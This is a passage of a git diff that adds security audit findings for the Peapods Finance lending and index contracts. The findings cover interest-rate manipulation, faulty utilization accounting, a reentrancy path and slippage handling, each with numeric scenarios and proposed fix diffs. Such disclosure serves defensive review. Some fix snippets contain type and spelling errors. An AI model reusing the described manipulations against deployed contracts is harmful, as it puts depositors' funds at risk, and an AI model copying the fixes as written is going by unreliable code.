+ `totalAvailableAssetsForVault[VaultA] = totalAvailableAssetsForVault[VaultB] = 50 DAI`.
+ `vaultUtilization[VaultA] = vaultUtilization[VaultB] = 50 DAI`.
+3. Each Vault has accumulated interest of 10 DAI:
+ `vaultUtilization[VaultA] = vaultUtilization[VaultB] = 60 DAI`.
+ At this time `VaultA` and `VaultB`'s interestRate are same.
+4. `VaultA` performs a `whitelistDeposit 60 DAI` and a `whitelistWithdraw 60 DAI`:
+ After this, `vaultUtilization[VaultA] = vaultDeposits[VaultA] = 60 DAI`, `totalAvailableAssetsForVault[VaultA] = 40 DAI`.
+As a result, the interest rate of `VaultA` increases, causing borrowers in `VaultA` to pay more interest compared to those in VaultB, leading to unfair profit distribution.
+A malicious user can perform step 4 in the `FraxlendPairVault` and gain control over the interest rate.
+
+### Impact
+The calculation of `totalAvailableAssetsForVault` is inconsistent, creating unfairness for users.
+The borrowers in `VaultA` pays more interest than the borrowers in `VaultB`, resulting in providers of `VaultB` earning less profit compared to those in `VaultA`.
+
+### Mitigation
+Consider using `vaultUtilization` instead of `vaultDeposits` to ensure accurate calculations and fairness among users.
diff --git a/264.md b/264.md
new file mode 100644
index 0000000..10f7d42
--- /dev/null
+++ b/264.md
@@ -0,0 +1,103 @@
+Faithful Wooden Elephant
+
+High
+
+# Incorrect calculation of `FraxlendPairCore.sol::prevUtilizationRate`
+
+
+### Summary
+Incorrect calculation of `FraxlendPairCore.sol::prevUtilizationRate`
+
+### Root Cause
+In the `_addInterest` function, the `prevUtilizationRate` is incorrect.
+`totalAssetsAvailable` is used instead of `totalAssets` to calculate the `UtilizationRate`
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L456
+```solidity
+ function _addInterest()
+ ...
+456: uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
+457: _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+ ...
+```
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L210
+```solidity
+210:function _totalAssetAvailable(VaultAccount memory _totalAsset, VaultAccount memory _totalBorrow, bool _includeVault)
+ ...
+ {
+ if (_includeVault) {
+ return _totalAsset.totalAmount(address(externalAssetVault)) - _totalBorrow.amount;
+ }
+ return _totalAsset.amount - _totalBorrow.amount;
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/libraries/VaultAccount.sol#L16
+```solidity
+16: function totalAmount(VaultAccount memory total, address vault) internal view returns (uint256 amount) {
+ if (vault == address(0)) {
+ return total.amount;
+ }
+ return total.amount + IERC4626Extended(vault).totalAvailableAssetsForVault(address(this));
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L306-L320
+```solidity
+ function addInterest(bool _returnAccounting)
+ ...
+306: uint256 _currentUtilizationRate = _prevUtilizationRate;
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+ uint256 _newUtilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+ uint256 _rateChange = _newUtilizationRate > _currentUtilizationRate
+ ? _newUtilizationRate - _currentUtilizationRate
+ : _currentUtilizationRate - _newUtilizationRate;
+ if (
+ _currentUtilizationRate != 0
+315: && _rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC
+ ) {
+ emit SkipAddingInterest(_rateChange);
+ } else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+320: }
+```
+In the `addInterest` function, `totalAssets` is used to calculate the `UtilizationRate`.
+However, because the `_prevUtilizationRate` is incorrect, this function could be skipped when it should not.
+
+Let's consider following senario.
+`totalAssets = 100e18`, `totalBorrows = 20e18`, `totalAssetsAvailable = 80e18`.
+Borrower borrows 5e18 assets:
+ `prevUtilizationRate = UTIL_PREC * 20e18 / 80e18 = 0.25e5`.
+ `totalAssets = 100e18`, `totalBorrows = 25e18`, `totalAssetsAvailable = 75e18`,
+After this time, the `addInterest` is skipped, due to `currentUtilizationRate = UTIL_PREC * 25e18 / 100e18 = 0.25e5`
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L107
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L212
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L303
+The `addInterest` function is used to recalculate the `totalAmount` of `externalVault`.
+Therefore, the `totalAmount` of `externalVault` may not be correct, which could lead to loss of funds for the providers of `externalVault` during deposits or redemptions.
+
+### Impact
+Loss of funds for the providers of `externalVault`.
+The `addInterest` function could be skipped when it should not be, and it may not be skipped when it is permissible to do so.
+
+### Mitigation
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L456
+```diff
+ function _addInterest()
+ ...
+-456: uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
++456: uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+ _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+```
+
diff --git a/265.md b/265.md
new file mode 100644
index 0000000..77c3115
--- /dev/null
+++ b/265.md
@@ -0,0 +1,97 @@
+Faithful Wooden Elephant
+
+High
+
+# `LendingAssetVault::vaultUtilization` Could Be Inflated
+
+
+### Summary
+The `LendingAssetVault::vaultUtilization` represents the assets that the `LendingAssetVault` should receive from the `FraxlendPairVault`.
+The `vaultUtilization` should be updated after accounting for interest in the `FraxlendPairVault`.
+However, due to a missing update after accounting for interest, the `vaultUtilization` may become inflated.
+
+### Root Cause
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L312-L317
+```solidity
+ function depositToVault(address _vault, uint256 _amountAssets) external onlyOwner {
+ require(_amountAssets > 0);
+312: _updateAssetMetadataFromVault(_vault);
+313: IERC20(_asset).safeIncreaseAllowance(_vault, _amountAssets);
+314: uint256 _amountShares = IERC4626(_vault).deposit(_amountAssets, address(this));
+315: require(totalAvailableAssetsForVault(_vault) >= _amountAssets, "MAX");
+316: vaultDeposits[_vault] += _amountAssets;
+317: vaultUtilization[_vault] += _amountAssets;
+ _totalAssetsUtilized += _amountAssets;
+ emit DepositToVault(_vault, _amountAssets, _amountShares);
+ }
+```
+In line 314, the `FraxlendPairVault` account the interest.
+In line 317, `vaultUtilization[_vault]` uses the value for the old `CBR` (not accounting for the new interest), while `_amountAssets` represents the value for the new `CBR`.
+Therefore these values could not sum.
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+Consider the following scenario:
+In FraxlendPairVault: `totalAsset.amount = 100e18`, `totalAsset.shares = 100e18`, there are `10e18` unaccounted interest assets.
+At this point, `LendingAssetVault::depositToVault(FraxlendPairVault, 55e18)` is called.
+
+In `LendingAssetVault::L312`, `_vaultWhitelistCbr[FraxlendPairVault] = 1e27`.
+
+In `LendingAssetVault::L314`,
+ The unaccounted interest in `FraxlendPairVault` is accounted and the assets are deposited.
+ https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L628
+ In `FraxlendPairVault`:
+ `totalAsset.amount = 110e18`, `totalAsset.shares = 100e18`,
+ `LendingAssetVault(externalAssetVault)'s shares = 55e18 * 100e18 / 110e18 = 50e18`,
+ `LendingAssetVault(externalAssetVault)'s amount = 55e18`.
+
+In LendingAssetVault::L317, vaultUtilization[FraxlendPairVault] = 55e18.
+
+At this time, `_vaultWhitelistCbr[FraxlendPairVault] = 1e27` but the FraxlendPairVault's actual cbr is gretear than this value.
+
+If `_updateAssetMetadataFromVault(FraxlendPairVault)` is called anywhere,
+ `_vaultWhitelistCbr[FraxlendPairVault] = 1e27 * 110e18 / 100e18 = 1.1e27`,
+ https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L301-L303
+ `vaultUtilization[FraxlendPairVault] = 55e18 + (55e18 * (1.1e27 - 1e27)) / 1e27 = 60.5e18`.
+ However, in `FraxlendPairVault`, `LendingAssetVault(externalAssetVault)'s amount = 55e18`.
+ And `totalAssets` is also inflated.
+
+Additionally:
+ The owner can call the `FraxlendPairVault::addInterest` function before calling `depositToVault`.
+ https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L317
+ However, if `rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC`, the `addInterest` function is skipped.
+ In contrast, the `_addInterest` function is always executed in the `deposit` function.
+
+### Impact
+If the `LendingAssetVault` could receive the asset amounts in all `vaultUtilization` from the `FraxlendPairVault`, this could lead to inflated `vaultUtilization`, resulting in:
+1. Invariant Breaking: The `CBR` of `FraxlendPairVault` may decrease.
+2. The providers in `FraxlendPairVault` could lose their assets.
+3. The last providers in `LendingAssetVault` may be unable to withdraw their assets due to insufficient assets.
+
+If not, due to inflated `totalAssets`:
+4. The depositers in `LendingAssetVault` would receive fewer shares than they should.
+5. The withdrawers in `LendingAssetVault` would receive more assets than they should.
+
+### Mitigation
+```diff
+ function depositToVault(address _vault, uint256 _amountAssets) external onlyOwner {
+ require(_amountAssets > 0);
+-312: _updateAssetMetadataFromVault(_vault);
+ IERC20(_asset).safeIncreaseAllowance(_vault, _amountAssets);
+ uint256 _amountShares = IERC4626(_vault).deposit(_amountAssets, address(this));
+ require(totalAvailableAssetsForVault(_vault) >= _amountAssets, "MAX");
+ vaultDeposits[_vault] += _amountAssets;
++ _updateAssetMetadataFromVault(_vault);
+317: vaultUtilization[_vault] += _amountAssets;
+ _totalAssetsUtilized += _amountAssets;
+ emit DepositToVault(_vault, _amountAssets, _amountShares);
+ }
+```
\ No newline at end of file
diff --git a/266.md b/266.md
new file mode 100644
index 0000000..3aec4bd
--- /dev/null
+++ b/266.md
@@ -0,0 +1,60 @@
+Faithful Wooden Elephant
+
+High
+
+# Whitelist Actions Should Update All Vaults
+
+
+### Summary
+In LendingAssetVault.sol, Guardian::H02 issue is not mitigated.
+
+### Root Cause
+This issue is marked `Resolved`. However, this issue is not mitigated.
+
+Asset availability changes during `whitelistDeposit` and `whitelistWithdraw`.
+But, in these functions only the vault that is calling is updated with `_updateAssetMetadataFromVault`.
+Instead, all whitelisted vaults should be updated too which affects their interest calculations.
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+Consider this example:
+• LAV has 150 DAI
+• Two Vaults A & B, with a 100 max allocation from LAV respectively.
+• Both Vault A & B have whitelist withdrawn 50 DAI and lend 50 DAI,
+ In LendingAssetVault: vaultUtilization[A] = vaultUtilization[B] = 50.
+ InFraxlendPairCor: totalAvailable = 50 + 50 = 100.
+ so utilization rates are 50 / (50 + 50) = 50%
+• 1 day passes
+• A new borrower borrows 50 DAI from Vault A, so Vault A whitelist withdrawn 50 DAI and utilization rate increases from 50 to 100%.
+• Available assets are also reduced for vault B, its utilization rate will increase to 50 / (50 + 0) = 100%
+
+In the example above, the next time accrued interest in Vault B is calculated, it assumes a 100% utilization rate for the entire duration since the last update.
+Instead, it should have been a 50% utilization (lower interest rate) for 1 day and then the 100% utilization rate after the borrow from Vault A.
+Borrowers will therefore always be incorrectly charged for interest across all whitelisted vaults.
+
+### Impact
+Borrowers will therefore always be incorrectly charged for interest across all whitelisted vaults.
+
+### Mitigation
+whitelistDeposit and whitelistWithdraw should update all vaults by calling _updateInterestAndMdInAllVaults(adress(0)):
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L248
+```diff
+ function whitelistDeposit(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+- _updateAssetMetadataFromVault(_vault);
++ _updateInterestAndMdInAllVaults(adress(0));
+ vaultDeposits[_vault] -= _assetAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _assetAmt;
+ vaultUtilization[_vault] -= _assetAmt;
+ _totalAssetsUtilized -= _assetAmt;
+ IERC20(_asset).safeTransferFrom(_vault, address(this), _assetAmt);
+ emit WhitelistDeposit(_vault, _assetAmt);
+ }
+```
\ No newline at end of file
diff --git a/267.md b/267.md
new file mode 100644
index 0000000..6fe850d
--- /dev/null
+++ b/267.md
@@ -0,0 +1,98 @@
+Faithful Wooden Elephant
+
+High
+
+# Incorrect `_updateAssetMetadataFromVault` function
+
+
+### Summary
+The calculation of `vaultUtilization` in the `LendingAssetVault::_updateAssetMetadataFromVault` function is incorrect.
+
+### Root Cause
+The issue arises from the calculation of vaultAssetRatioChange, which is defined as either:
+ - `vaultAssetRatioChange = prevVaultCbr / currVaultCbr - 1`
+ - `vaultAssetRatioChange = currVaultCbr / prevVaultCbr - 1`
+However, on line 298, the calculation always uses:
+ - `changeUtilizedState = currentAssetsUtilized * vaultAssetRatioChange`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L298
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+293: uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+298: uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+Let's consider the following senario.
+`prevVaultCbr = 1.1e27`, `currVaultCbr = 1e27`, `prevVaultUtilization = 110e18`
+At this point, `currVaultUtilization` should be 100e18. However:
+ In L293, `_vaultAssetRatioChange = 1e27 * 1.1 / 1 - 1e27 = 0.1e27`
+ In L298, `_changeUtilizedState = 110e18 * 0.1e27 / 1e27 = 11e18`
+ In L300, currVaultUtilization = 110e18 - 11e18 = 99e18.
+As a result, the `vaultUtilization` is less than it should.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L250
+```solidity
+ vaultUtilization[_vault] -= _assetAmt;
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L331
+```solidity
+ vaultUtilization[_vault] -= _redeemAmt;
+```
+Due to the underflow, the `LAV` could not receive funds exceeding `vaultUtilization`.
+The `CBR` of `FraxlendPairVault` can decrease, particularly in cases of bad debt.
+
+### Impact
+Loss of funds for the providers of `LAV`.
+
+### Mitigation
+```diff
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+-293: uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+- ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+- : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+- uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+-298: uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+- vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+- ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+- : _currentAssetsUtilized + _changeUtilizedState;
+- _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+- _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
++ uint256 _prevAssetsUtilized = vaultUtilization[_vault];
++ vaultUtilization[_vault] = _prevAssetsUtilized * _vaultWhitelistCbr[_vault] / _prevVaultCbr;
++ _totalAssetsUtilized = _totalAssetsUtilized - _prevAssetsUtilized + vaultUtilization[_vault];
++ _totalAssets = _totalAssets - _prevAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
\ No newline at end of file
diff --git a/268.md b/268.md
new file mode 100644
index 0000000..64562fe
--- /dev/null
+++ b/268.md
@@ -0,0 +1,117 @@
+Faithful Wooden Elephant
+
+High
+
+# POD Can Not Buy or Sell
+
+
+### Summary
+The current `_update` function has a reentry path.
+
+### Root Cause
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L180
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+164: if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+166: _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+173: super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+180: _processBurnFee(_fee);
+181: super._update(_from, _to, _amount - _fee);
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L223
+```solidity
+ function _processBurnFee(uint256 _amtToProcess) internal {
+ if (_amtToProcess == 0 || _fees.burn == 0) {
+219: return;
+ }
+ uint256 _burnAmt = (_amtToProcess * _fees.burn) / DEN;
+222: _totalSupply -= _burnAmt;
+223: _burn(address(this), _burnAmt);
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/package.json#L22
+```solidity
+ERC20Upgradeable.sol
+2: // OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/ERC20.sol)
+ function _burn(address account, uint256 value) internal {
+ if (account == address(0)) {
+ revert ERC20InvalidSender(address(0));
+ }
+264: _update(account, address(0), value);
+ }
+```
+_update::L180 -> _processBurnFee::L223 -> ERC20Upgradeable.sol::_burn::L264 -> _update().
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+Alice has 100 POD, with a sell fee of 2% and a burn fee of 20%. When Alice sells her POD:
+
+At Line 173, 2 POD are sent to the POD contract.
+At Line 180, the `_processBurnFee` function is called, which reenters the `_update` function with the following parameters: `from = this, to = 0, amount = 0.4`.
+At Line 166, the remaining POD in the POD contract are distributed.
+As a result, the POD contract may have no POD left.
+Therefore, at Line 181, this transaction is reverted.
+If the `_processPreSwapFeesAndSwap` function doesn't consume all POD, this transaction could succeed.
+However, if `hasTransferTax = 1`, a portion of the burn fee is re-credited as a transfer fee, even though the burn fees are already deducted at Line 222.
+
+### Impact
+1. Users cannot buy or sell POD.
+2. The supplied POD is greater than `_totalSupply`, resulting in some users being unable to `debond`.
+
+### Mitigation
+```diff
++ bool feeBurning;
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+-164 if (_swapping == 0 && _swapAndFeeOn == 1) {
++ if (_swapping == 0 && _swapAndFeeOn == 1 && feeBurning == 0) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
++ feeBurning = 1;
+ _processBurnFee(_fee);
++ feeBurning = 0;
+ super._update(_from, _to, _amount - _fee);
+ }
+```
\ No newline at end of file
diff --git a/269.md b/269.md
new file mode 100644
index 0000000..a0a1de0
--- /dev/null
+++ b/269.md
@@ -0,0 +1,85 @@
+Faithful Wooden Elephant
+
+Medium
+
+# Incorrect Slippage Application
+
+
+### Summary
+Users lose funds due to incorrect slippage application in the `_swapV3Single::_swapV3Single` function.
+
+### Root Cause
+In the `_swapV3Single::_swapV3Single` function, if a user sets the slippage, `_amountOutMin` is not equal to 0.
+However, even if `_amountOutMin` is not 0, the default slippage is applied to `_amountOutMin`.
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L73
+```solidity
+51: function addLPAndStake(
+ IDecentralizedIndex _indexFund,
+ uint256 _amountIdxTokens,
+ address _pairedLpTokenProvided,
+ uint256 _amtPairedLpTokenProvided,
+ uint256 _amountPairedLpTokenMin,
+ uint256 _slippage,
+ uint256 _deadline
+ ) external payable override returns (uint256 _amountOut) {
+ ...
+ _zap(_pairedLpTokenProvided, _pairedLpToken, _amtPairedLpTokenProvided, _amountPairedLpTokenMin);
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L131
+```solidity
+64: function _zap(address _in, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ ...
+ _amountOut = _swapV3Single(_in, _getPoolFee(_poolInfo.pool1), _out, _amountIn, _amountOutMin);
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L174
+```solidity
+ function _swapV3Single(address _in, uint24 _fee, address _out, uint256 _amountIn, uint256 _amountOutMin)
+ internal
+ returns (uint256)
+ {
+ address _v3Pool;
+ try DEX_ADAPTER.getV3Pool(_in, _out, uint24(10000)) returns (address __v3Pool) {
+ _v3Pool = __v3Pool;
+ } catch {
+ _v3Pool = DEX_ADAPTER.getV3Pool(_in, _out, int24(200));
+ }
+ if (_amountOutMin == 0) {
+ address _token0 = _in < _out ? _in : _out;
+ uint256 _poolPriceX96 =
+ V3_TWAP_UTILS.priceX96FromSqrtPriceX96(V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_v3Pool));
+ _amountOutMin = _in == _token0
+ ? (_poolPriceX96 * _amountIn) / FixedPoint96.Q96
+ : (_amountIn * FixedPoint96.Q96) / _poolPriceX96;
+ }
+
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+174: uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV3Single(
+177: _in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this)
+ );
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+```
+In L177, even if the `_amountOutMin` is user setting value the `finalSlip` is always applied.
+
+### Impact
+Users are vulnerable to sandwich attacks, resulting in the loss of funds.
+
+### Mitigation
+```diff
+174: uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
++ if (_amountOutMin != 0) _finalSlip = 0;
+ IERC20(_in).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+```
\ No newline at end of file
diff --git a/270.md b/270.md
new file mode 100644
index 0000000..1a4f2f8
--- /dev/null
+++ b/270.md
@@ -0,0 +1,110 @@
+Faithful Wooden Elephant
+
+Medium
+
+# The `_pairedLpTokenToPodLp` function could be reverted.
+
+
+### Summary
+In the `AutoCompoundingPodLp::_pairedLpTokenToPodLp` function, only paired LP tokens may remain.
+Therefore, the function could be reverted due to slippage checks.
+
+### Root Cause
+In the `AutoCompoundingPodLp` contract, the reward Tokens are swaped to pairedLpTokens and then some pairedLpTokens are swaped to pod for pool rate.
+However if L323 is failed, there are only remain pairedLpTokens.
+After that time, in L323 the rate of _podAmountOut and _pairedRemaining are expected value but due to the L327 and L328, the rate of podTokens and pairedLpTokens are not expected value.
+
+In the `AutoCompoundingPodLp` contract, reward tokens are swapped for paired LP tokens, and then some paired LP tokens are swapped for POD tokens for pool rates.
+However, if the operation at Line 323 fails, only paired LP tokens will remain.
+At that point, the `_podAmountOut` and `_pairedRemaining` are expected values, but due to Lines 327 and 328, the rates of PODtokens and pairedLPtokens may not match the expected values.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L327-L328
+```solidity
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+313: uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+ _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+323: try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
+ uint256 _podAmountOut
+ ) {
+ // reset here to local balances to accommodate any residual leftover from previous runs
+327: _podAmountOut = pod.balanceOf(address(this));
+328: _pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+ IERC20(pod).safeIncreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(indexUtils), _pairedRemaining);
+331: try indexUtils.addLPAndStake(
+ pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline
+ ) returns (uint256 _lpTknOut) {
+ _amountOut = _lpTknOut;
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+ }
+```
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L82-L87
+```solidity
+ function addLPAndStake(
+ ...
+82: _amountOut = _indexFund.addLiquidityV2(
+ IERC20(_indexFundAddy).balanceOf(address(this)) - (_idxTokensBefore == 0 ? 1 : _idxTokensBefore),
+ IERC20(_pairedLpToken).balanceOf(address(this)) - (_pairedLpTokenBefore == 0 ? 1 : _pairedLpTokenBefore),
+ _slippage,
+ _deadline
+ );
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L348-L357
+```solidity
+ function addLiquidityV2(
+ ...
+348: DEX_HANDLER.addLiquidity(
+ address(this),
+ PAIRED_LP_TOKEN,
+ _pTKNLPTokens,
+ _pairedLPTokens,
+353: (_pTKNLPTokens * (1000 - _slippage)) / 1000,
+354: (_pairedLPTokens * (1000 - _slippage)) / 1000,
+ _msgSender(),
+ _deadline
+357: );
+```
+If the rates of PODtokens and pairedLPtokens differ significantly from the pool rate, the transaction could be reverted due to the checks in the DecentralizedIndex::L353-L354.
+Because one of them may left in abundance.
+
+Let's consider the following senario.
+Pool rate = 1:1
+Due to a failure at `_pairedLpTokenToPodLp::L323`, there are `2e18` pairedTokens remaining.
+At this time, _pairedLpTokenToPodLp(2e18) is called.
+1e18 pairedTokens converted to podTokens.
